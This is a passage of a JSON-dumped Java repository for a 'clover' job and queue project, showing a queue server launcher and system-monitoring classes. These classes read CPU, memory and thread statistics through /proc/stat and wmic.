Integer.valueOf(100));\r\n\r\n        bootstrap.bind(new InetSocketAddress(this.port));\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/rpc/QueueServer.java",
    "content": "package com.gome.clover.common.rpc;\r\n\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Queue Server\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic enum  QueueServer {\r\n    INSTANCE;\r\n    private static final Logger logger = LoggerFactory.getLogger(QueueServer.class);\r\n\r\n    public boolean startup(){\r\n        int port = 50470;\r\n        try {\r\n            QueueDaemon queueDaemon = new QueueDaemon(port);\r\n            queueDaemon.start();\r\n            return true;\r\n        }catch (Exception e){\r\n            if(logger.isDebugEnabled())e.printStackTrace();\r\n            logger.error(\"QueueServer-->>startup()\",e);\r\n        } finally {\r\n            logger.info(\"QueueServer start with port \"+port+\" start now ~\");\r\n        }\r\n        return false;\r\n    }\r\n    public boolean startup(int port){\r\n        try {\r\n            QueueDaemon queueDaemon = new QueueDaemon(port);\r\n            queueDaemon.start();\r\n            return true;\r\n        }catch (Exception e){\r\n            if(logger.isDebugEnabled())e.printStackTrace();\r\n            logger.error(\"QueueServer-->>startup(\"+port+\")\",e);\r\n        } finally {\r\n            logger.info(\"QueueServer start with port \"+port+\" start now ~\");\r\n        }\r\n        return false;\r\n    }\r\n\r\n    public static void main(String[] args) {\r\n        int port = 50470;\r\n        QueueDaemon queueDaemon = new QueueDaemon(port);\r\n        logger.info(\"QueueServer start with port \"+port+\" start now ~\");\r\n        System.err.println(\"QueueServer start with port \\\"+port+\\\" start now ~\");\r\n        queueDaemon.start();\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/systeminfo/IMonitorService.java",
    "content": "package com.gome.clover.common.systeminfo;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 15:18\r\n */\r\npublic interface IMonitorService {\r\n    public MonitorInfoBean getMonitorInfoBean() throws Exception;\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/systeminfo/MonitorInfoBean.java",
    "content": "package com.gome.clover.common.systeminfo;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 15:18\r\n */\r\npublic class MonitorInfoBean {\r\n    /** 可使用内存. */\r\n    private long totalMemory;\r\n\r\n    /**  剩余内存. */\r\n    private long freeMemory;\r\n\r\n    /** 最大可使用内存. */\r\n    private long maxMemory;\r\n\r\n    /** 操作系统. */\r\n    private String osName;\r\n\r\n    /** 总的物理内存. */\r\n    private long totalMemorySize;\r\n\r\n    /** 剩余的物理内存. */\r\n    private long freePhysicalMemorySize;\r\n\r\n    /** 已使用的物理内存. */\r\n    private long usedMemory;\r\n\r\n    /** 线程总数. */\r\n    private int totalThread;\r\n\r\n    /** cpu使用率. */\r\n    private double cpuRatio;\r\n\r\n    public long getFreeMemory() {\r\n        return freeMemory;\r\n    }\r\n\r\n    public void setFreeMemory(long freeMemory) {\r\n        this.freeMemory = freeMemory;\r\n    }\r\n\r\n    public long getFreePhysicalMemorySize() {\r\n        return freePhysicalMemorySize;\r\n    }\r\n\r\n    public void setFreePhysicalMemorySize(long freePhysicalMemorySize) {\r\n        this.freePhysicalMemorySize = freePhysicalMemorySize;\r\n    }\r\n\r\n    public long getMaxMemory() {\r\n        return maxMemory;\r\n    }\r\n\r\n    public void setMaxMemory(long maxMemory) {\r\n        this.maxMemory = maxMemory;\r\n    }\r\n\r\n    public String getOsName() {\r\n        return osName;\r\n    }\r\n\r\n    public void setOsName(String osName) {\r\n        this.osName = osName;\r\n    }\r\n\r\n    public long getTotalMemory() {\r\n        return totalMemory;\r\n    }\r\n\r\n    public void setTotalMemory(long totalMemory) {\r\n        this.totalMemory = totalMemory;\r\n    }\r\n\r\n    public long getTotalMemorySize() {\r\n        return totalMemorySize;\r\n    }\r\n\r\n    public void setTotalMemorySize(long totalMemorySize) {\r\n        this.totalMemorySize = totalMemorySize;\r\n    }\r\n\r\n    public int getTotalThread() {\r\n        return totalThread;\r\n    }\r\n\r\n    public void setTotalThread(int totalThread) {\r\n        this.totalThread = totalThread;\r\n    }\r\n\r\n    public long getUsedMemory() {\r\n        return usedMemory;\r\n    }\r\n\r\n    public void setUsedMemory(long usedMemory) {\r\n        this.usedMemory = usedMemory;\r\n    }\r\n\r\n    public double getCpuRatio() {\r\n        return cpuRatio;\r\n    }\r\n\r\n    public void setCpuRatio(double cpuRatio) {\r\n        this.cpuRatio = cpuRatio;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/systeminfo/MonitorServiceImpl.java",
    "content": "package com.gome.clover.common.systeminfo;\r\n\r\nimport com.sun.management.OperatingSystemMXBean;\r\nimport sun.management.ManagementFactory;\r\n\r\nimport java.io.*;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 15:21\r\n */\r\npublic class MonitorServiceImpl implements IMonitorService {\r\n\r\n    private static final int CPUTIME = 30;\r\n\r\n    private static final int PERCENT = 100;\r\n\r\n    private static final int FAULTLENGTH = 10;\r\n\r\n    /**\r\n     * 获得当前的监控对象.\r\n     * @return 返回构造好的监控对象\r\n     * @throws Exception\r\n     * @author GuoHuang\r\n     */\r\n    public MonitorInfoBean getMonitorInfoBean() throws Exception {\r\n        int kb = 1024;\r\n\r\n        // 可使用内存\r\n        long totalMemory = Runtime.getRuntime().totalMemory() / kb;\r\n        // 剩余内存\r\n        long freeMemory = Runtime.getRuntime().freeMemory() / kb;\r\n        // 最大可使用内存\r\n        long maxMemory = Runtime.getRuntime().maxMemory() / kb;\r\n\r\n        OperatingSystemMXBean osmxb = (OperatingSystemMXBean) ManagementFactory\r\n                .getOperatingSystemMXBean();\r\n\r\n        // 操作系统\r\n        String osName = System.getProperty(\"os.name\");\r\n        // 总的物理内存\r\n        long totalMemorySize = osmxb.getTotalPhysicalMemorySize() / kb;\r\n        // 剩余的物理内存\r\n        long freePhysicalMemorySize = osmxb.getFreePhysicalMemorySize() / kb;\r\n        // 已使用的物理内存\r\n        long usedMemory = (osmxb.getTotalPhysicalMemorySize() - osmxb\r\n                .getFreePhysicalMemorySize())\r\n                / kb;\r\n\r\n        // 获得线程总数\r\n        ThreadGroup parentThread;\r\n        for (parentThread = Thread.currentThread().getThreadGroup(); parentThread\r\n                .getParent() != null; parentThread = parentThread.getParent());\r\n        int totalThread = parentThread.activeCount();\r\n\r\n        double cpuRatio = 0;\r\n        if (osName.toLowerCase().startsWith(\"windows\")) {\r\n            cpuRatio = this.getCpuRatioForWindows();\r\n        }\r\n        else {\r\n            cpuRatio = this.getCpuRateForLinux();\r\n        }\r\n\r\n        // 构造返回对象\r\n        MonitorInfoBean infoBean = new MonitorInfoBean();\r\n        infoBean.setFreeMemory(freeMemory);\r\n        infoBean.setFreePhysicalMemorySize(freePhysicalMemorySize);\r\n        infoBean.setMaxMemory(maxMemory);\r\n        infoBean.setOsName(osName);\r\n        infoBean.setTotalMemory(totalMemory);\r\n        infoBean.setTotalMemorySize(totalMemorySize);\r\n        infoBean.setTotalThread(totalThread);\r\n        infoBean.setUsedMemory(usedMemory);\r\n        infoBean.setCpuRatio(cpuRatio);\r\n        return infoBean;\r\n    }\r\n    private static double getCpuRateForLinux(){\r\n        double cpuUsage = 0;\r\n        Process pro1,pro2;\r\n        Runtime r = Runtime.getRuntime();\r\n        try {\r\n            String command = \"cat /proc/stat\";\r\n            //第一次采集CPU时间\r\n            long startTime = System.currentTimeMillis();\r\n            pro1 = r.exec(command);\r\n            BufferedReader in1 = new BufferedReader(new InputStreamReader(pro1.getInputStream()));\r\n            String line;\r\n            long idleCpuTime1 = 0, totalCpuTime1 = 0;   //分别为系统启动后空闲的CPU时间和总的CPU时间\r\n            while((line=in1.readLine()) != null){\r\n                if(line.startsWith(\"cpu\")){\r\n                    line = line.trim();\r\n                    //log.info(line);\r\n                    String[] temp = line.split(\"\\\\s+\");\r\n                    idleCpuTime1 = Long.parseLong(temp[4]);\r\n                    for(String s : temp){\r\n                        if(!s.equals(\"cpu\")){\r\n                            totalCpuTime1 += Long.parseLong(s);\r\n                        }\r\n                    }\r\n                   // log.info(\"IdleCpuTime: \" + idleCpuTime1 + \", \" + \"TotalCpuTime\" + totalCpuTime1);\r\n                    break;\r\n                }\r\n            }\r\n            in1.close();\r\n            pro1.destroy();\r\n            try {\r\n                Thread.sleep(100);\r\n            } catch (InterruptedException e) {\r\n                StringWriter sw = new StringWriter();\r\n                e.printStackTrace(new PrintWriter(sw));\r\n                //log.error(\"CpuUsage休眠时发生InterruptedException. \" + e.getMessage());\r\n                //log.error(sw.toString());\r\n            }\r\n            //第二次采集CPU时间\r\n            long endTime = System.currentTimeMillis();\r\n            pro2 = r.exec(command);\r\n            BufferedReader in2 = new BufferedReader(new InputStreamReader(pro2.getInputStream()));\r\n            long idleCpuTime2 = 0, totalCpuTime2 = 0;   //分别为系统启动后空闲的CPU时间和总的CPU时间\r\n            while((line=in2.readLine()) != null){\r\n                if(line.startsWith(\"cpu\")){\r\n                    line = line.trim();\r\n                    //log.info(line);\r\n                    String[] temp = line.split(\"\\\\s+\");\r\n                    idleCpuTime2 = Long.parseLong(temp[4]);\r\n                    for(String s : temp){\r\n                        if(!s.equals(\"cpu\")){\r\n                            totalCpuTime2 += Long.parseLong(s);\r\n                        }\r\n                    }\r\n                    //log.info(\"IdleCpuTime: \" + idleCpuTime2 + \", \" + \"TotalCpuTime\" + totalCpuTime2);\r\n                    break;\r\n                }\r\n            }\r\n            if(idleCpuTime1 != 0 && totalCpuTime1 !=0 && idleCpuTime2 != 0 && totalCpuTime2 !=0){\r\n                cpuUsage = 1 - (float)(idleCpuTime2 - idleCpuTime1)/(float)(totalCpuTime2 - totalCpuTime1);\r\n                //log.info(\"本节点CPU使用率为: \" + cpuUsage);\r\n            }\r\n            in2.close();\r\n            pro2.destroy();\r\n        } catch (IOException e) {\r\n            StringWriter sw = new StringWriter();\r\n            e.printStackTrace(new PrintWriter(sw));\r\n            //log.error(\"CpuUsage发生InstantiationException. \" + e.getMessage());\r\n            //log.error(sw.toString());\r\n        }\r\n        return cpuUsage;\r\n    }\r\n\r\n    /**\r\n     * 获得CPU使用率.\r\n     * @return 返回cpu使用率\r\n     * @author GuoHuang\r\n     */\r\n    private double getCpuRatioForWindows() {\r\n        try {\r\n            String procCmd = System.getenv(\"windir\")\r\n                    + \"\\\\system32\\\\wbem\\\\wmic.exe process get Caption,CommandLine,\"\r\n                    + \"KernelModeTime,ReadOperationCount,ThreadCount,UserModeTime,WriteOperationCount\";\r\n            // 取进程信息\r\n            long[] c0 = readCpu(Runtime.getRuntime().exec(procCmd));\r\n            Thread.sleep(CPUTIME);\r\n            long[] c1 = readCpu(Runtime.getRuntime().exec(procCmd));\r\n            if (c0 != null && c1 != null) {\r\n                long idletime = c1[0] - c0[0];\r\n                long busytime = c1[1] - c0[1];\r\n                return Double.valueOf(\r\n                        PERCENT * (busytime) / (busytime + idletime))\r\n                        .doubleValue();\r\n            } else {\r\n                return 0.0;\r\n            }\r\n        } catch (Exception ex) {\r\n            ex.printStackTrace();\r\n            return 0.0;\r\n        }\r\n    }\r\n\r\n    /**\r\n\r\n     * 读取CPU信息.\r\n     * @param proc\r\n     * @return\r\n     * @author GuoHuang\r\n     */\r\n    private long[] readCpu(final Process proc) {\r\n        long[] retn = new long[2];\r\n        try {\r\n            proc.getOutputStream().close();\r\n            InputStreamReader ir = new InputStreamReader(proc.getInputStream());\r\n            LineNumberReader input = new LineNumberReader(ir);\r\n            String line = input.readLine();\r\n            if (line == null || line.length() < FAULTLENGTH) {\r\n                return null;\r\n            }\r\n            int capidx = line.indexOf(\"Caption\");\r\n            int cmdidx = line.indexOf(\"CommandLine\");\r\n            int rocidx = line.indexOf(\"ReadOperationCount\");\r\n            int umtidx = line.indexOf(\"UserModeTime\");\r\n            int kmtidx = line.indexOf(\"KernelModeTime\");\r\n            int wocidx = line.indexOf(\"WriteOperationCount\");\r\n            long idletime = 0;\r\n            long kneltime = 0;\r\n            long usertime = 0;\r\n            while ((line = input.readLine()) != null) {\r\n                if (line.length() < wocidx) {\r\n                    continue;\r\n                }\r\n                // 字段出现顺序：Caption,CommandLine,KernelModeTime,ReadOperationCount,\r\n                // ThreadCount,UserModeTime,WriteOperation\r\n                String caption = Bytes.substring(line, capidx, cmdidx - 1)\r\n                        .trim();\r\n                String cmd = Bytes.substring(line, cmdidx, kmtidx - 1).trim();\r\n                if (cmd.indexOf(\"wmic.exe\") >= 0) {\r\n                    continue;\r\n                }\r\n                // log.info(\"line=\"+line);\r\n                if (caption.equals(\"System Idle Process\")\r\n                        || caption.equals(\"System\")) {\r\n                    idletime += Long.valueOf(\r\n                            Bytes.substring(line, kmtidx, rocidx - 1).trim())\r\n                            .longValue();\r\n                    idletime += Long.valueOf(\r\n                            Bytes.substring(line, umtidx, wocidx - 1).trim())\r\n                            .longValue();\r\n                    continue;\r\n                }\r\n\r\n                kneltime += Long.valueOf(\r\n                        Bytes.substring(line, kmtidx, rocidx - 1).trim())\r\n                        .longValue();\r\n                usertime += Long.valueOf(\r\n                        Bytes.substring(line, umtidx, wocidx - 1).trim())\r\n                        .longValue();\r\n            }\r\n            retn[0] = idletime;\r\n            retn[1] = kneltime + usertime;\r\n            return retn;\r\n        } catch (Exception ex) {\r\n            ex.printStackTrace();\r\n        } finally {\r\n            try {\r\n                proc.getInputStream().close();\r\n            } catch (Exception e) {\r\n                e.printStackTrace();\r\n            }\r\n        }\r\n        return null;\r\n    }\r\n\r\n    /**     测试方法.\r\n     * @param args\r\n     * @throws Exception\r\n     * @author GuoHuang\r\n     */\r\n    public static void main(String[] args) throws Exception {\r\n        IMonitorService service = new MonitorServiceImpl();\r\n        MonitorInfoBean monitorInfo = service.getMonitorInfoBean();\r\n        System.out.println(\"cpu占有率=\" + monitorInfo.getCpuRatio());\r\n\r\n        System.out.println(\"可使用内存=\" + monitorInfo.getTotalMemory());\r\n        System.out.println(\"剩余内存=\" + monitorInfo.getFreeMemory());\r\n        System.out.println(\"最大可使用内存=\" + monitorInfo.getMaxMemory());\r\n\r\n        System.out.println(\"操作系统=\" + monitorInfo.getOsName());\r\n        System.out.println(\"总的物理内存=\" + monitorInfo.getTotalMemorySize() + \"kb\");\r\n        System.out.println(\"剩余的物理内存=\" + monitorInfo.getFreeMemory() + \"kb\");\r\n        System.out.println(\"已使用的物理内存=\" + monitorInfo.getUsedMemory() + \"kb\");\r\n        System.out.println(\"线程总数=\" + monitorInfo.getTotalThread() + \"kb\");\r\n    }\r\n}\r\n\r\n\r\n class Bytes {\r\n    public static String substring(String src, int start_idx, int end_idx){\r\n        byte[] b = src.getBytes();\r\n        String tgt = \"\";\r\n        for(int i=start_idx; i <= end_idx; i++){\r\n            tgt +=(char)b[i];\r\n        }\r\n        return tgt;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/systeminfo/SystemInfoUtil.java",
    "content": "package com.gome.clover.common.systeminfo;\r\n\r\nimport com.sun.management.OperatingSystemMXBean;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport sun.management.ManagementFactory;\r\n\r\nimport java.io.*;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 16:29\r\n */\r\npublic class SystemInfoUtil {\r\n    private final static Logger logger = LoggerFactory.getLogger(SystemInfoUtil.class);\r\n    private static final  OperatingSystemMXBean osmxb = (OperatingSystemMXBean) java.lang.management.ManagementFactory.getOperatingSystemMXBean();\r\n    private static final int KB = 1024;\r\n    private static final int FAULTLENGTH = 10;\r\n    private static final int CPUTIME = 30;\r\n    public static double getMemRatio(){\r\n        long totalMemorySize = osmxb.getTotalPhysicalMemorySize()/KB;// 总的物理内存\r\n        long usedMemory = (osmxb.getTotalPhysicalMemorySize() - osmxb.getFreePhysicalMemorySize()) / KB; // 已使用的物理内存\r\n        return ((usedMemory*1.0/totalMemorySize));\r\n    }\r\n\r\n    public static int getTotalThread(){\r\n        // 获得线程总数\r\n        ThreadGroup parentThread;\r\n        for (parentThread = Thread.currentThread().getThreadGroup(); parentThread\r\n                .getParent() != null; parentThread = parentThread.getParent());\r\n        return parentThread.activeCount();\r\n    }\r\n\r\n    public static double getCpuRatio(){\r\n        double cpuRatio;\r\n        // 操作系统\r\n        String osName = System.getProperty(\"os.name\");\r\n        if (osName.toLowerCase().startsWith(\"windows\")) {\r\n            cpuRatio = getCpuRatioForWindows();\r\n        }\r\n        else {\r\n            cpuRatio = getCpuRateForLinux();\r\n        }\r\n        return cpuRatio;\r\n    }\r\n\r\n    //获得cpu使用率(Windows)\r\n    private static double getCpuRatioForWindows() {\r\n        try {\r\n            String procCmd = System.getenv(\"windir\") + \"\\\\system32\\\\wbem\\\\wmic.exe process get Caption,CommandLine,KernelModeTime,ReadOperationCount,ThreadCount,UserModeTime,WriteOperationCount\";\r\n            // 取进程信息\r\n            long[] c0 = readCpu(Runtime.getRuntime().exec(procCmd));\r\n            Thread.sleep(CPUTIME);\r\n            long[] c1 = readCpu(Runtime.getRuntime().exec(procCmd));\r\n            if (c0 != null && c1 != null) {\r\n                long idleTime = c1[0] - c0[0];\r\n                long busyTime = c1[1] - c0[1];\r\n                return (busyTime)*1.0 / (busyTime + idleTime);\r\n            } else {\r\n                return 0;\r\n            }\r\n        } catch (Exception ex) {\r\n            ex.printStackTrace();\r\n            return 0;\r\n        }\r\n    }\r\n    //读取cpu相关信息\r\n    private static long[] readCpu(final Process proc) {\r\n        long[] retN = new long[2];\r\n        try {\r\n            proc.getOutputStream().close();\r\n            InputStreamReader ir = new InputStreamReader(proc.getInputStream());\r\n            LineNumberReader input = new LineNumberReader(ir);\r\n            String line = input.readLine();\r\n            if (line == null || line.length() < FAULTLENGTH) {\r\n                return null;\r\n            }\r\n            int capIdx = line.indexOf(\"Caption\");\r\n            int cmdIdx = line.indexOf(\"CommandLine\");\r\n            int rocIdx = line.indexOf(\"ReadOperationCount\");\r\n            int umtIdx = line.indexOf(\"UserModeTime\");\r\n            int kmtIdx = line.indexOf(\"KernelModeTime\");\r\n            int wocIdx = line.indexOf(\"WriteOperationCount\");\r\n            long idleTime = 0;\r\n            long knelTime = 0;\r\n            long userTime = 0;\r\n            while ((line = input.readLine()) != null) {\r\n                if (line.length() < wocIdx) {\r\n                    continue;\r\n                }\r\n                // 字段出现顺序：Caption,CommandLine,KernelModeTime,ReadOperationCount,\r\n                // ThreadCount,UserModeTime,WriteOperation\r\n                String caption =substring(line, capIdx, cmdIdx - 1).trim();\r\n                String cmd = substring(line, cmdIdx, kmtIdx - 1).trim();\r\n                if (cmd.indexOf(\"wmic.exe\") >= 0) {\r\n                    continue;\r\n                }\r\n                String s1 = substring(line, kmtIdx, rocIdx - 1).trim();\r\n                String s2 = substring(line, umtIdx, wocIdx - 1).trim();\r\n                if (caption.equals(\"System Idle Process\") || caption.equals(\"System\")) {\r\n                    if (s1.length() > 0)\r\n                        idleTime += Long.valueOf(s1).longValue();\r\n                    if (s2.length() > 0)\r\n                        idleTime += Long.valueOf(s2).longValue();\r\n                    continue;\r\n                }\r\n                if (s1.length() > 0)\r\n                    knelTime += Long.valueOf(s1).longValue();\r\n                if (s2.length() > 0)\r\n                    userTime += Long.valueOf(s2).longValue();\r\n            }\r\n            retN[0] = idleTime;\r\n            retN[1] = knelTime + userTime;\r\n            return retN;\r\n        } catch (Exception ex) {\r\n            ex.printStackTrace();\r\n            logger.error(\"SystemInfoUtil-->>readCpu error,\"+ ex.getMessage());\r\n        } finally {\r\n            try {\r\n                proc.getInputStream().close();\r\n            } catch (Exception e) {\r\n                e.printStackTrace();\r\n                logger.error(\"SystemInfoUtil-->>readCpu InputStream close error,\"+ e.getMessage());\r\n            }\r\n        }\r\n        return null;\r\n    }\r\n\r\n    /**\r\n     * 由于String.subString对汉字处理存在问题（把一个汉字视为一个字节)，因此在 包含汉字的字符串时存在隐患，现调整如下：\r\n     * @param src 要截取的字符串\r\n     * @param start_idx 开始坐标（包括该坐标)\r\n     * @param end_idx 截止坐标（包括该坐标）\r\n     * @return\r\n     */\r\n    private static String substring(String src, int start_idx, int end_idx) {\r\n        byte[] b = src.getBytes();\r\n        String tgt = \"\";\r\n        for (int i = start_idx; i <= end_idx; i++) {\r\n            tgt += (char) b[i];\r\n        }\r\n        return tgt;\r\n    }\r\n    //获得cpu使用率(Linux)\r\n    private static double getCpuRateForLinux(){\r\n        double cpuUsage = 0;\r\n        Process pro1,pro2;\r\n        Runtime r = Runtime.getRuntime();\r\n        try {\r\n            String command = \"cat /proc/stat\";\r\n            //第一次采集CPU时间\r\n            long startTime = System.currentTimeMillis();\r\n            pro1 = r.exec(command);\r\n            BufferedReader in1 = new BufferedReader(new InputStreamReader(pro1.getInputStream()));\r\n            String line;\r\n            long idleCpuTime1 = 0, totalCpuTime1 = 0;   //分别为系统启动后空闲的CPU时间和总的CPU时间\r\n            while((line=in1.readLine()) != null){\r\n                if(line.startsWith(\"cpu\")){\r\n                    line = line.trim();\r\n                    String[] temp = line.split(\"\\\\s+\");\r\n                    idleCpuTime1 = Long.parseLong(temp[4]);\r\n                    for(String s : temp){\r\n                        if(!s.equals(\"cpu\")){\r\n                            totalCpuTime1 += Long.parseLong(s);\r\n                        }\r\n                    }\r\n                    logger.info(\"IdleCpuTime: \" + idleCpuTime1 + \", \" + \"TotalCpuTime\" + totalCpuTime1);\r\n                    break;\r\n                }\r\n            }\r\n            in1.close();\r\n            pro1.destroy();\r\n            try {\r\n                Thread.sleep(100);\r\n            } catch (InterruptedException e) {\r\n                StringWriter sw = new StringWriter();\r\n                e.printStackTrace(new PrintWriter(sw));\r\n                logger.error(\"CpuUsage休眠时发生InterruptedException. \" + e.getMessage());\r\n                logger.error(sw.toString());\r\n            }\r\n            //第二次采集CPU时间\r\n            long endTime = System.currentTimeMillis();\r\n            pro2 = r.exec(command);\r\n            BufferedReader in2 = new BufferedReader(new InputStreamReader(pro2.getInputStream()));\r\n            long idleCpuTime2 = 0, totalCpuTime2 = 0;   //分别为系统启动后空闲的CPU时间和总的CPU时间\r\n            while((line=in2.readLine()) != null){\r\n                if(line.startsWith(\"cpu\")){\r\n                    line = line.trim();\r\n                    String[] temp = line.split(\"\\\\s+\");\r\n                    idleCpuTime2 = Long.parseLong(temp[4]);\r\n                    for(String s : temp){\r\n                        if(!s.equals(\"cpu\")){\r\n                            totalCpuTime2 += Long.parseLong(s);\r\n                        }\r\n                    }\r\n                    logger.info(\"IdleCpuTime: \" + idleCpuTime2 + \", \" + \"TotalCpuTime\" + totalCpuTime2);\r\n                    break;\r\n                }\r\n            }\r\n            if(idleCpuTime1 != 0 && totalCpuTime1 !=0 && idleCpuTime2 != 0 && totalCpuTime2 !=0){\r\n                cpuUsage = 1 - (double)(idleCpuTime2 - idleCpuTime1)/(double)(totalCpuTime2 - totalCpuTime1);\r\n                logger.info(\"本节点CPU使用率为: \" + cpuUsage);\r\n            }\r\n            in2.close();\r\n            pro2.destroy();\r\n        } catch (IOException e) {\r\n            StringWriter sw = new StringWriter();\r\n            e.printStackTrace(new PrintWriter(sw));\r\n            logger.error(\"CpuUsage发生InstantiationException. \" + e.getMessage());\r\n            logger.error(sw.toString());\r\n        }\r\n        return cpuUsage;\r\n    }\r\n    public static void main(String[] args) {\r\n        double minMemRatioValue = SystemInfoUtil.getMemRatio();\r\n        System.err.println(\"\"+minMemRatioValue);\r\n        int minTotalThreadRatioValue =SystemInfoUtil.getTotalThread();\r\n        System.err.println(\"\"+minTotalThreadRatioValue);\r\n\r\n        double minCpuRatioValue = SystemInfoUtil.getCpuRatio();\r\n        System.err.println(\"\"+minCpuRatioValue);\r\n        double totalValue = minMemRatioValue*minCpuRatioValue*minTotalThreadRatioValue;\r\n        System.err.println(\"\"+totalValue);\r\n\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/systeminfo/WindowsInfoUtil.java",
